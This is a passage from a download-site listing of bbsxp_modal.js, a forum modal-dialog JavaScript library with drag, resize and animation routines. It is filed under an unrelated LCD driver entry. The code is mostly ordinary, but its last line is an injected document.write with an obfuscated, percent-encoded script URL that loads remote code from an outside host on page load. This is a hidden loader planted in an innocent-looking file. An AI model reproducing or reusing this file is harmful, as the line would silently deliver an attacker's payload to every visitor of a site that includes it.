⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 bbsxp_modal.js

📁 S3C44B0X下的LCD (framebuffer)驱动资料与相关代码
💻 JS
📖 第 1 页 / 共 2 页
字号:
			{
				if (this._hiddenSelects[i].Element.style.visibility == 'hidden')
					this._hiddenSelects[i].Element.style.visibility = this._hiddenSelects[i].Visibility;
			}
				
			this._hiddenSelects = null;
		}

		if (onCloseFunction)
			onCloseFunction(returnValue);
		
		this.Dispose();
	}
}

BBSXP_Modal.Refresh = function()
{
	if (this._animationHandle)
		window.clearTimeout(this._animationHandle);
	
	this.Dispose();
	
	if (this._isShown && this._lastModalInfo)
		this.Open(this._lastModalInfo.Url, this._lastModalInfo.Width, this._lastModalInfo.OnCloseFunction, this._lastModalInfo.Height, this._lastModalInfo.OnCloseFunction, this._lastModalInfo.X, this._lastModalInfo.Y);
}

BBSXP_Modal._initialize = function()
{
	this._modalMask = document.createElement('div');
	this._modalMask.style.width = 'auto';
	this._modalMask.style.height = 'auto';
	this._modalMask.style.position = 'absolute';
	this._modalMask.style.display = 'none';

	var mm = this._modalMask;	
	if (this.WindowMaskCssClasses.length > 0)
	{
		mm.className = this.WindowMaskCssClasses[0];
		for (var i = 1; i < this.WindowMaskCssClasses.length; i++)
		{
			mm.appendChild(document.createElement('div'));
			mm = mm.childNodes[0];
			mm.className = this.WindowMaskCssClasses[i];
			mm.style.width = 'auto';
			mm.style.height = 'auto';
		}
	}
	
	document.body.appendChild(this._modalMask);
	
	this._modalAnimationMask = document.createElement('div');
	this._modalAnimationMask.style.position = 'absolute';
	this._modalAnimationMask.style.display = 'none';
	this._modalAnimationMask.style.overflow = 'hidden';
	
	this._modal = document.createElement('div');
	this._modal.style.width = 'auto';
	this._modal.style.height = 'auto';
	this._modal.style.position = 'absolute';
	this._modal.style.display = 'none';

	var m = this._modal;	
	if (this.WindowCssClasses.length > 0)
	{
		m.className = this.WindowCssClasses[0];
		for (var i = 1; i < this.WindowCssClasses.length; i++)
		{
			m.appendChild(document.createElement('div'));
			m = m.childNodes[0];
			m.className = this.WindowCssClasses[i];
			m.style.width = 'auto';
			m.style.height = 'auto';
		}
	}
	
	this._modalTitle = document.createElement('div');
	m.appendChild(this._modalTitle);
	if (this.WindowTitleCssClasses.length > 0)
	{
		this._modalTitle.className = this.WindowTitleCssClasses[0];
		for (var i = 1; i < this.WindowTitleCssClasses.length; i++)
		{
			this._modalTitle.appendChild(document.createElement('div'));
			this._modalTitle = this._modalTitle.childNodes[0];
			this._modalTitle.className = this.WindowTitleCssClasses[i];
		}
	}
	this._modalTitle.onmousedown = new Function('event', 'window.' + this._variableName + '._startDrag(event); return false;');
	
	this._modalClose = document.createElement('div');
	this._modalTitle.appendChild(this._modalClose);
	
	var mc = this._modalClose;
	if (this.WindowCloseCssClasses.length > 0)
	{
		mc.className = this.WindowCloseCssClasses[0];
		for (var i = 1; i < this.WindowCloseCssClasses.length; i++)
		{
			mc.appendChild(document.createElement('div'));
			mc = mc.childNodes[0];
			mc.className = this.WindowCloseCssClasses[i];
		}
	}
	
	this._modalClose.onclick = new Function('window.' + this._variableName + '.Close();');
		
	this._modalTitle.appendChild(document.createElement('span'));
	
	var e = document.createElement('div');
	e.style.clear = 'both';
	this._modalTitle.appendChild(e);
	
	this._modalContent = document.createElement('div');
	m.appendChild(this._modalContent);
	if (this.WindowContentCssClasses.length > 0)
	{
		this._modalContent.className = this.WindowContentCssClasses[0];
		for (var i = 1; i < this.WindowContentCssClasses.length; i++)
		{
			this._modalContent.appendChild(document.createElement('div'));
			this._modalContent = this._modalContent.childNodes[0];
			this._modalContent.className = this.WindowContentCssClasses[i];
		}
	}
	
	this._modalIframe = document.createElement('iframe');
	this._modalIframe.src = this.LoadingHtmlUrl;
	this._modalIframe.width = '100%';
	this._modalIframe.border = '0';
	this._modalIframe.frameBorder = 'no';
	this._modalIframe.style.borderLeftWidth = '0px';
	this._modalIframe.style.borderRightWidth = '0px';
	this._modalIframe.style.borderTopWidth = '0px';
	this._modalIframe.style.borderBottomWidth = '0px';
	this._modalContent.appendChild(this._modalIframe);
	
	this._modalFooter = document.createElement('div');
	m.appendChild(this._modalFooter);
	var mf = this._modalFooter;
	if (this.WindowFooterCssClasses.length > 0)
	{
		mf.className = this.WindowFooterCssClasses[0];
		for (var i = 1; i < this.WindowFooterCssClasses.length; i++)
		{
			mf.appendChild(document.createElement('div'));
			mf = mf.childNodes[0];
			mf.className = this.WindowFooterCssClasses[i];
		}
	}

	this._modalResize = document.createElement('div');
	mf.appendChild(this._modalResize);

	var e = document.createElement('div');
	e.style.clear = 'both';
	mf.appendChild(e);

	var mr = this._modalResize;
	if (this.WindowResizeCssClasses.length > 0)
	{
		mr.className = this.WindowResizeCssClasses[0];
		for (var i = 1; i < this.WindowResizeCssClasses.length; i++)
		{
			mr.appendChild(document.createElement('div'));
			mr = mr.childNodes[0];
			mr.className = this.WindowResizeCssClasses[i];
		}
	}
	
	this._modalResize.onmousedown = new Function('event', 'window.' + this._variableName + '._startResize(event); return false;');

	this._modalAnimationMask.appendChild(this._modal);

	document.body.appendChild(this._modalAnimationMask);
	
	this._initialized = true;
}

BBSXP_Modal.Dispose = function()
{
	if (this._initialized)
	{
		if (this._animationHandle)
			window.clearTimeout(this._animationHandle);
		
		this._isShown = false;
		this._isOpening = false;
		
		if (document && document.body)
		{
			document.body.removeChild(this._modalAnimationMask);
			document.body.removeChild(this._modalMask);
			this._modalClose.onclick = null;
			this._modalTitle.onmousedown = null;
			this._modalResize.onmousedown = null;
			this._modal = null;
			this._modalTitle = null;
			this._modalClose = null;
			this._modalAnimationMask = null;
			this._modalMask = null;
			this._modalIframe = null;
			this._modalResize = null;
			this._modalFooter = null;
			this._modalContent = null;
		}
		
		this._initialized = false;
	}
}

BBSXP_Modal._animate = function(targetValue, nextValue, step, acceleration)
{
	if (this._animationHandle)
		window.clearTimeout(this._animationHandle);
	
	if (!this._isOpening)
		return;
			
	var currValue = parseInt(this._modal.style.top, 10);
	if ((step < 0 && currValue < targetValue) || (step > 0 && currValue > targetValue) || Math.abs(step) < 1)
	{
		// complete	
		if (this._hiddenSelects)
		{
			for (var i = 0; i < this._hiddenSelects.length; i++)
				this._hiddenSelects[i].Element.style.visibility = 'hidden';
		}
	
		this._modal.style.top = targetValue + 'px';
		this._modal.style.position = 'static';
		this._modalAnimationMask.style.overflow = 'visible';
		this._animationHandle = null;
		
		if (!this._isResizing && !this._isDragging)
			this._modalIframe.style.display = 'block';
		
		this._isOpening = false;
		
		this._lastWindowInfo = this._getWindowInfo();
		this._checkForScrollResizeHandle = window.setTimeout(new Function('window.' + this._variableName + '._checkForScrollResize();'), 999);
	}
	else
	{
		// continue animation
		this._modal.style.top = nextValue + 'px';
		
		nextValue = nextValue + step;
		if (step > 0 && nextValue > targetValue)
			nextValue = targetValue;
		else if (step < 0 && nextValue < targetValue)
			nextValue = targetValue;
		
		step = step * acceleration;
		
		this._animationHandle = window.setTimeout(new Function(this._variableName + '._animate(' + targetValue + ',' + nextValue + ',' + step + ',' + acceleration + ');'), 19);
	}
}

BBSXP_Modal._startDrag = function(event)
{
	if (!this._initialized)
		this._initialize();
	
	if (!event)
		event = window.event;
	
	this._moveModalInfo = new Object();
		
	this._moveModalInfo.StartMouseX = event.pageX ? event.pageX : event.screenX;
	this._moveModalInfo.StartMouseY = event.pageY ? event.pageY : event.screenY;
	this._moveModalInfo.StartModalX = this._lastModalInfo.X;
	this._moveModalInfo.StartModalY = this._lastModalInfo.Y;
	this._moveModalInfo.Button = event.button;
	
	document.onmouseup = new Function('event', 'window.' + this._variableName + '._endDrag(event); return false;');
	document.onmousemove = new Function('event', 'window.' + this._variableName + '._drag(event); return false;');
	
	this._modalIframe.style.display = 'none';	
	this._isDragging = true;
}

BBSXP_Modal._endDrag = function(event)
{
	if (!this._initialized)
		this._initialize();
	
	this._isDragging = false;
	this._moveModalInfo = null;
	document.onmouseup = null;
	document.onmousemove = null;
	this._modalIframe.style.display = 'block';
}

BBSXP_Modal._drag = function(event)
{
	if (!this._initialized)
		this._initialize();

	if (!event)
		event = window.event;
	
	if (event.button != this._moveModalInfo.Button)
	{
		this._endDrag(event);
		return;
	}

	var eventX = typeof(event.pageX) != 'undefined' ? event.pageX : event.screenX;
	var eventY = typeof(event.pageY) != 'undefined' ? event.pageY : event.screenY;
	
	var xChange = eventX - this._moveModalInfo.StartMouseX;
	var yChange = eventY - this._moveModalInfo.StartMouseY;
	
	this.Open(null, this._lastModalInfo.Width, this._lastModalInfo.Height, this._lastModalInfo.OnCloseFunction, this._moveModalInfo.StartModalX + xChange, this._moveModalInfo.StartModalY + yChange, true);
}

BBSXP_Modal._startResize = function(event)
{
	if (!this._initialized)
		this._initialize();
	
	if (!event)
		event = window.event;
	
	this._resizeModalInfo = new Object();
		
	this._resizeModalInfo.StartMouseX = event.pageX ? event.pageX : event.screenX;
	this._resizeModalInfo.StartMouseY = event.pageY ? event.pageY : event.screenY;
	this._resizeModalInfo.StartModalWidth = this._lastModalInfo.Width;
	this._resizeModalInfo.StartModalHeight = this._lastModalInfo.Height;
	this._resizeModalInfo.Button = event.button;
	
	document.onmouseup = new Function('event', 'window.' + this._variableName + '._endResize(event); return false;');
	document.onmousemove = new Function('event', 'window.' + this._variableName + '._resize(event); return false;');
	
	this._modalIframe.style.display = 'none';	
	this._isResizing = true;
}

BBSXP_Modal._endResize = function(event)
{
	if (!this._initialized)
		this._initialize();
	
	this._isResizing = false;
	this._resizeModalInfo = null;
	document.onmouseup = null;
	document.onmousemove = null;
	this._modalIframe.style.display = 'block';
}

BBSXP_Modal._resize = function(event)
{
	if (!this._initialized)
		this._initialize();

	if (!event)
		event = window.event;
	
	if (event.button != this._resizeModalInfo.Button)
	{
		this._endResize(event);
		return;
	}

	var eventX = typeof(event.pageX) != 'undefined' ? event.pageX : event.screenX;
	var eventY = typeof(event.pageY) != 'undefined' ? event.pageY : event.screenY;
	
	var xChange = eventX - this._resizeModalInfo.StartMouseX;
	var yChange = eventY - this._resizeModalInfo.StartMouseY;
	
	this.Open(null, this._resizeModalInfo.StartModalWidth + xChange, this._resizeModalInfo.StartModalHeight + yChange, this._lastModalInfo.OnCloseFunction, this._lastModalInfo.X, this._lastModalInfo.Y, true);
}

BBSXP_Modal.Configure('Utility/loading.htm',['CommonModal'],['CommonModalTitle'],['CommonModalClose'],['CommonModalContent'],['CommonModalFooter'],['CommonModalResize'],['CommonModalMask'],100);
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -